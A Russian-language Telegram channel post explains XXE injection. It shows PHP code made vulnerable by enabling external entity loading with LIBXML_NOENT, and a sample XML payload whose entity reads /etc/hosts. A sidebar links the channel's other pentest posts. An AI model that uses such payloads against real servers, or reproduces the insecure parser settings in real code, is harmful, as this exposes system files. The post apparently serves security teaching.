TGViewer
Sleepless Book Sleepless Book @asleep_book · 274 subscribers
Post #422 898
XEE
Код страницы содержит код уязвимый к атакам. libxml_disable_entity_loader(false) позволяет загружать внешние объекты. simplexml_load_string с LIBXML_NOENT позволяет веб-приложению получать доступ к внутренним файлам системы.
<?php
..
...
libxml_disable_entity_loader(false);
$wishlist = simplexml_load_string($xml_data, "SimpleXMLElement", LIBXML_NOENT);

...
..
echo "Item added to your wishlist successfully.";
?>


Внешний объект ссылается на данные из внешнего файла или ресурса. В следующем коде сущность &ext; может ссылаться на внешний файл, расположенный по адресу " http://eval.com/robots.txt", который будет загружен в XML:
<!DOCTYPE people [
<!ENTITY ext SYSTEM "http://tryhackme.com/robots.txt">
]>


Изначальный XML-запрос:
<wishlist>
<user_id>1</user_id>
<item>
<product_id>1</product_id>
</item>
</wishlist>


Запрос с добавлением полезной нагрузки:
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY payload SYSTEM "/etc/hosts"> ]>
<wishlist>
<user_id>1</user_id>
<item>
<product_id>&payload;</product_id>
</item>
</wishlist>
More from @asleep_book
  1. Apr 1, 2026Разведка внутри системы используя PShell https://github.com/PowerShellMafia/PowerSploit/bl…
  2. Apr 1, 2026https://github.com/The-Viper-One/PsMapExec
  3. Mar 16, 2026• Нашел очень объемную и актуальную подборку полезных ресурсов на тему управления уязвимос…
  4. Jan 28, 2026LinEnum #Linux #pentest #полезное Сбор всей информации о системе для выявления потенциальн…
  5. Jan 28, 2026Перебирайте, молодежь
  6. Nov 22, 2025nslookup myip.opendns.com. resolver1.opendns.com
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →